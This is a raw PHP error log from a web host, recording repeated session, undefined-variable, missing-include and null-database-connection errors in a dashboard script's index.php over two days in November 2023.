[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 11
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:54
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(54): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 300
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 315
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 330
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
